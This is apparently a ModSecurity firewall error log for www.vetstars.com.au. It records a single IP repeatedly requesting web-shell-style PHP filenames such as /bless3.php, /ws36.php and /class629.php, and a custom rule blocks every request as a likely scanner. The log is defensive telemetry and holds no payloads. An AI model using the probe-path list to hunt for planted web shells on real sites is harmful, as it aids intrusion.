[Wed Jan 21 00:10:43.829337 2026] [:error] [pid 54382:tid 54385] [client 20.230.68.25:18861] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aW-pA0TJlZ9SJ6sBOEvdyAAAAAA"]
[Wed Jan 21 00:10:44.267631 2026] [:error] [pid 17295:tid 17317] [client 20.230.68.25:3936] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless3.php"] [unique_id "aW-pBPZJhGdrcqZICT-2_AAAAZM"]
[Wed Jan 21 00:10:44.753238 2026] [:error] [pid 17340:tid 17367] [client 20.230.68.25:4004] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless3.php"] [unique_id "aW-pBPAsOSYVgw_35t3J9wAAAks"]
[Wed Jan 21 00:10:45.245970 2026] [:error] [pid 63647:tid 63670] [client 20.230.68.25:18935] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless3.php"] [unique_id "aW-pBVUaYw1xHOoaFFI5WwAAAhU"]
[Wed Jan 21 00:10:45.765062 2026] [:error] [pid 56291:tid 56300] [client 20.230.68.25:4046] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless3.php"] [unique_id "aW-pBbXgW_1T5Nikxa0W6gAAAEU"]
[Wed Jan 21 00:10:46.215803 2026] [:error] [pid 56291:tid 56307] [client 20.230.68.25:3947] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aW-pBrXgW_1T5Nikxa0W7AAAAEw"]
[Wed Jan 21 00:10:46.861895 2026] [:error] [pid 17340:tid 17360] [client 20.230.68.25:3991] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aW-pBvAsOSYVgw_35t3J-wAAAkQ"]
[Wed Jan 21 00:10:47.317636 2026] [:error] [pid 54382:tid 54407] [client 20.230.68.25:3933] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aW-pB0TJlZ9SJ6sBOEvdygAAABY"]
[Wed Jan 21 00:10:47.792659 2026] [:error] [pid 17340:tid 17375] [client 20.230.68.25:4032] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aW-pB_AsOSYVgw_35t3KAAAAAlM"]
[Wed Jan 21 00:10:48.245657 2026] [:error] [pid 63647:tid 63666] [client 20.230.68.25:3989] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/akk.php"] [unique_id "aW-pCFUaYw1xHOoaFFI5XwAAAhE"]
[Wed Jan 21 00:10:48.731418 2026] [:error] [pid 54260:tid 54324] [client 20.230.68.25:18857] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/akk.php"] [unique_id "aW-pCNg7jS3jmpUN0WA8IwAAAVA"]
[Wed Jan 21 00:10:49.176863 2026] [:error] [pid 54382:tid 54406] [client 20.230.68.25:4080] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/akk.php"] [unique_id "aW-pCUTJlZ9SJ6sBOEvdzQAAABU"]
[Wed Jan 21 00:10:49.676616 2026] [:error] [pid 63647:tid 63661] [client 20.230.68.25:4001] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/akk.php"] [unique_id "aW-pCVUaYw1xHOoaFFI5YQAAAgw"]
[Wed Jan 21 00:10:50.178083 2026] [:error] [pid 63647:tid 63651] [client 20.230.68.25:18872] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aW-pClUaYw1xHOoaFFI5YgAAAgI"]
[Wed Jan 21 00:10:50.614207 2026] [:error] [pid 54260:tid 54316] [client 20.230.68.25:3934] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aW-pCtg7jS3jmpUN0WA8JQAAAUg"]
[Wed Jan 21 00:10:51.061179 2026] [:error] [pid 8455:tid 8477] [client 20.230.68.25:4071] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aW-pC4JiHdPVtruynXDZXQAAA1Q"]
[Wed Jan 21 00:10:51.514118 2026] [:error] [pid 17340:tid 17371] [client 20.230.68.25:3926] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aW-pC_AsOSYVgw_35t3KBQAAAk8"]
[Wed Jan 21 00:10:51.985970 2026] [:error] [pid 8455:tid 8466] [client 20.230.68.25:4022] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aW-pC4JiHdPVtruynXDZXwAAA0k"]
[Wed Jan 21 00:10:52.492009 2026] [:error] [pid 54382:tid 54391] [client 20.230.68.25:4058] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aW-pDETJlZ9SJ6sBOEvd0AAAAAY"]
[Wed Jan 21 00:10:52.987262 2026] [:error] [pid 56360:tid 56375] [client 20.230.68.25:4005] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aW-pDE1J8CD1rR-wXXt9owAAAQ0"]
[Wed Jan 21 00:10:53.430691 2026] [:error] [pid 17295:tid 17314] [client 20.230.68.25:4009] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aW-pDfZJhGdrcqZICT-3BAAAAZA"]
[Wed Jan 21 00:10:53.936164 2026] [:error] [pid 56360:tid 56377] [client 20.230.68.25:4074] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws36.php"] [unique_id "aW-pDU1J8CD1rR-wXXt9qQAAAQ8"]
[Wed Jan 21 00:10:54.345991 2026] [:error] [pid 54382:tid 54405] [client 20.230.68.25:3935] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws36.php"] [unique_id "aW-pDkTJlZ9SJ6sBOEvd0gAAABQ"]
[Wed Jan 21 00:10:54.820340 2026] [:error] [pid 56360:tid 56378] [client 20.230.68.25:3959] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws36.php"] [unique_id "aW-pDk1J8CD1rR-wXXt9rAAAARA"]
[Wed Jan 21 00:10:55.361968 2026] [:error] [pid 17340:tid 17375] [client 20.230.68.25:4010] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws36.php"] [unique_id "aW-pD_AsOSYVgw_35t3KCgAAAlM"]
[Wed Jan 21 00:10:55.813937 2026] [:error] [pid 17295:tid 17318] [client 20.230.68.25:4083] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x0x.php"] [unique_id "aW-pD_ZJhGdrcqZICT-3DAAAAZQ"]
[Wed Jan 21 00:10:56.299676 2026] [:error] [pid 17295:tid 17317] [client 20.230.68.25:18919] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x0x.php"] [unique_id "aW-pEPZJhGdrcqZICT-3DQAAAZM"]
[Wed Jan 21 00:10:56.788340 2026] [:error] [pid 54260:tid 54323] [client 20.230.68.25:4048] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x0x.php"] [unique_id "aW-pENg7jS3jmpUN0WA8LQAAAU8"]
[Wed Jan 21 00:10:57.420192 2026] [:error] [pid 54382:tid 54400] [client 20.230.68.25:4075] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x0x.php"] [unique_id "aW-pEUTJlZ9SJ6sBOEvd1wAAAA8"]
[Wed Jan 21 00:10:57.884762 2026] [:error] [pid 17340:tid 17362] [client 20.230.68.25:3949] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aW-pEfAsOSYVgw_35t3KDQAAAkY"]
[Wed Jan 21 00:10:58.350694 2026] [:error] [pid 54260:tid 54325] [client 20.230.68.25:3984] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aW-pEtg7jS3jmpUN0WA8LwAAAVE"]
[Wed Jan 21 00:10:58.859875 2026] [:error] [pid 54260:tid 54320] [client 20.230.68.25:3997] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aW-pEtg7jS3jmpUN0WA8MQAAAUw"]
[Wed Jan 21 00:10:59.293925 2026] [:error] [pid 56326:tid 56338] [client 20.230.68.25:3921] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aW-pExA6mi8Uwf45Uy9ZNwAAAMo"]
[Wed Jan 21 00:10:59.772856 2026] [:error] [pid 56326:tid 56329] [client 20.230.68.25:3929] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aW-pExA6mi8Uwf45Uy9ZOAAAAME"]
[Wed Jan 21 00:11:00.295271 2026] [:error] [pid 17295:tid 17314] [client 20.230.68.25:18850] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aW-pFPZJhGdrcqZICT-3FQAAAZA"]
[Wed Jan 21 00:11:00.739117 2026] [:error] [pid 54260:tid 54331] [client 20.230.68.25:4064] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aW-pFNg7jS3jmpUN0WA8MgAAAVY"]
[Wed Jan 21 00:11:01.312264 2026] [:error] [pid 17295:tid 17308] [client 20.230.68.25:3919] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aW-pFfZJhGdrcqZICT-3GQAAAYo"]
[Wed Jan 21 00:11:01.733474 2026] [:error] [pid 8455:tid 8464] [client 20.230.68.25:4007] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/card.php"] [unique_id "aW-pFYJiHdPVtruynXDZaAAAA0c"]
[Wed Jan 21 00:11:02.173129 2026] [:error] [pid 56360:tid 56382] [client 20.230.68.25:4073] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/card.php"] [unique_id "aW-pFk1J8CD1rR-wXXt9tQAAARQ"]
[Wed Jan 21 00:11:02.640632 2026] [:error] [pid 17295:tid 17304] [client 20.230.68.25:3942] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/card.php"] [unique_id "aW-pFvZJhGdrcqZICT-3IAAAAYY"]
[Wed Jan 21 00:11:03.204637 2026] [:error] [pid 17340:tid 17377] [client 20.230.68.25:3914] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/card.php"] [unique_id "aW-pF_AsOSYVgw_35t3KEQAAAlU"]
[Wed Jan 21 00:11:03.656361 2026] [:error] [pid 17340:tid 17379] [client 20.230.68.25:4035] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/size.php"] [unique_id "aW-pF_AsOSYVgw_35t3KEwAAAlc"]
[Wed Jan 21 00:11:04.263950 2026] [:error] [pid 54260:tid 54316] [client 20.230.68.25:4020] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/size.php"] [unique_id "aW-pGNg7jS3jmpUN0WA8NgAAAUg"]
[Wed Jan 21 00:11:04.727186 2026] [:error] [pid 54260:tid 54317] [client 20.230.68.25:3927] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/size.php"] [unique_id "aW-pGNg7jS3jmpUN0WA8NwAAAUk"]
[Wed Jan 21 00:11:05.293265 2026] [:error] [pid 8455:tid 8463] [client 20.230.68.25:3907] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/size.php"] [unique_id "aW-pGYJiHdPVtruynXDZagAAA0Y"]
[Wed Jan 21 00:11:05.801105 2026] [:error] [pid 54259:tid 54289] [client 20.230.68.25:3950] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class629.php"] [unique_id "aW-pGQ2q1USrePnOoFQYKgAAAIw"]
[Wed Jan 21 00:11:06.429101 2026] [:error] [pid 54259:tid 54287] [client 20.230.68.25:4092] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class629.php"] [unique_id "aW-pGg2q1USrePnOoFQYLAAAAIo"]
[Wed Jan 21 00:11:06.881652 2026] [:error] [pid 17340:tid 17374] [client 20.230.68.25:18926] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class629.php"] [unique_id "aW-pGvAsOSYVgw_35t3KGQAAAlI"]
[Wed Jan 21 00:11:07.325883 2026] [:error] [pid 56360:tid 56380] [client 20.230.68.25:3995] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class629.php"] [unique_id "aW-pG01J8CD1rR-wXXt9ugAAARI"]
[Wed Jan 21 00:11:07.789472 2026] [:error] [pid 54382:tid 54400] [client 20.230.68.25:3967] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aW-pG0TJlZ9SJ6sBOEvd5QAAAA8"]
[Wed Jan 21 00:11:08.240281 2026] [:error] [pid 56360:tid 56385] [client 20.230.68.25:4003] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aW-pHE1J8CD1rR-wXXt9vQAAARc"]
[Wed Jan 21 00:11:08.674695 2026] [:error] [pid 17340:tid 17373] [client 20.230.68.25:4006] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aW-pHPAsOSYVgw_35t3KHAAAAlE"]
[Wed Jan 21 00:12:02.188564 2026] [:error] [pid 17340:tid 17362] [client 20.230.68.25:18817] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/haa.php"] [unique_id "aW-pUvAsOSYVgw_35t3KiQAAAkY"]
[Wed Jan 21 00:12:03.089593 2026] [:error] [pid 54260:tid 54312] [client 20.230.68.25:18846] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/haa.php"] [unique_id "aW-pU9g7jS3jmpUN0WA8bQAAAUQ"]
[Wed Jan 21 00:12:03.996969 2026] [:error] [pid 54260:tid 54335] [client 20.230.68.25:18838] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/haa.php"] [unique_id "aW-pU9g7jS3jmpUN0WA8bwAAAVg"]
[Wed Jan 21 00:12:04.869960 2026] [:error] [pid 56326:tid 56340] [client 20.230.68.25:18915] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/haa.php"] [unique_id "aW-pVBA6mi8Uwf45Uy9ZSAAAAMw"]
